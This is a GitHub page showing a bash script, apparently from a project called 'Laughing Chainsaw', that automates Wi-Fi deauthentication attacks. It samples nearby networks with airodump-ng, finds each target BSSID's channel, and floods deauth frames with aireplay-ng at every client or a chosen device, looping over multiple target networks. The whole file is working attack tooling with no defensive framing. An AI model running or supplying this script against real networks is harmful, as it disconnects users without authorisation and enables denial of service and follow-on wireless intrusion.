-
Notifications
You must be signed in to change notification settings - Fork 0
/
auto.sht
executable file
·135 lines (112 loc) · 3.57 KB
/
auto.sht
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/bin/bash
# reading configs
source ./config.cfg
SCAN_TIME=$AUTO_SCAN_TIME
INJECTION_TIME=$AUTO_INJECTION_TIME
MULTI_BSSID=$AUTO_MULTI_BSSID
MULTI_LOOP_COUNT=$AUTO_MULTI_LOOP_COUNT
# pipe output to stdout and designated log file
exec > >(tee -a "$CHAINSAW_LOG") 2>&1
function sample(){
IFACE=$1
SCAN_TIME=$2
# preliminary analysis of wireless network
echo "Sampling wireless data"
rm tempdump*
airodump-ng -w tempdump --output-format csv --write-interval 3 --background 1 $IFACE & pid=$!
sleep $SCAN_TIME
kill "$pid"
mv tempdump-01.csv tempdump.csv
}
function parse(){
TARGET_BSSID=$1
COLUMN=$2
TARGET_X=$(grep "$TARGET_BSSID" tempdump.csv | awk -F, -v col="$COLUMN" '{sub(/^ *| *$/,"",$4); print $col}')
echo $TARGET_X
}
function exec_deauth(){
IFACE=$1
TARGET_CHANNEL=$2
TARGET_BSSID=$3
INJECTION_TIME=$4
TARGET_DEVICE=$5
# set the channel of monitor interface
iwconfig $IFACE channel $TARGET_CHANNEL
if [ -z "$TARGET_DEVICE" ]
then
# if target device unspecified, deauth all devices
aireplay-ng -0 0 -a $TARGET_BSSID $IFACE --ignore-negative-one & pid=$!
sleep $INJECTION_TIME
kill "$pid"
else
# if target device specified, deauth only speficied device
aireplay-ng -0 0 -a $TARGET_BSSID -c $TARGET_DEVICE $IFACE --ignore-negative-one & pid=$!
sleep $INJECTION_TIME
kill "$pid"
fi
echo ""
echo "deAuth frame injection finished"
}
# main start
function main(){
IFACE=$1
TARGET_BSSID=$2
INJECTION_TIME=$3
TARGET_DEVICE=$4
# processing the datas, TARGET_BSSID at column 4
echo "Parsing data"
TARGET_CHANNEL=$(parse $TARGET_BSSID 4)
# if target channel can't be found, just exit the script
if [ -z "$TARGET_CHANNEL" ]; then
echo "Target BSSID not found. Exiting."
else
# filter out more than two chars of the channel result, may caused by station section of the airodump-ng output
TARGET_CHANNEL="${TARGET_CHANNEL:0:2}"
# determine ESSID for informational purpose only
TARGET_ESSID=$(parse $TARGET_BSSID 14)
echo "Automated channel targeting..."
echo "Target ESSID = $TARGET_ESSID"
echo "Target BSSID = $TARGET_BSSID"
echo "Target channel = $TARGET_CHANNEL"
echo "Injecting deAuth frame for $INJECTION_TIME second(s)"
exec_deauth $IFACE $TARGET_CHANNEL $TARGET_BSSID $INJECTION_TIME $TARGET_DEVICE
fi
}
# initial
echo ""
echo "------------------------- LAUGHING CHAINSAW ========================="
echo ""
# sample wireless data
sample $IFACE $SCAN_TIME
# determine if multi bssid mode is enabled
if [ "$MULTI_BSSID" -eq 1 ]; then
echo "Multi BSSID mode enabled"
MULTI_TARGET_BSSID=()
while IFS= read -r line; do
# Check if the line is not commented (does not start with #) and contains "TARGET_BSSID"
if [[ ! $line =~ ^\# && $line =~ "TARGET_BSSID" ]]; then
# Extract the value of TARGET_BSSID
TARGET_BSSID=${line#*=}
# Add the value to the array
MULTI_TARGET_BSSID+=("$TARGET_BSSID")
fi
done < "config.cfg"
for ((i = 1; i <= $MULTI_LOOP_COUNT; i++)); do
for CURRENT_TARGET_BSSID in "${MULTI_TARGET_BSSID[@]}"; do
echo ""
echo "------------------------- TARGETING -------------------------"
CURRENT_TARGET_BSSID="${CURRENT_TARGET_BSSID//\"/}" # Remove double quotes
echo "Current target BSSID = $CURRENT_TARGET_BSSID"
main $IFACE $CURRENT_TARGET_BSSID $INJECTION_TIME $TARGET_DEVICE
echo "------------------------- END -------------------------"
echo ""
done
done
else
echo "Normal mode"
echo ""
echo "------------------------- TARGETING -------------------------"
main $IFACE $TARGET_BSSID $INJECTION_TIME $TARGET_DEVICE
echo "------------------------- END -------------------------"
echo ""
fi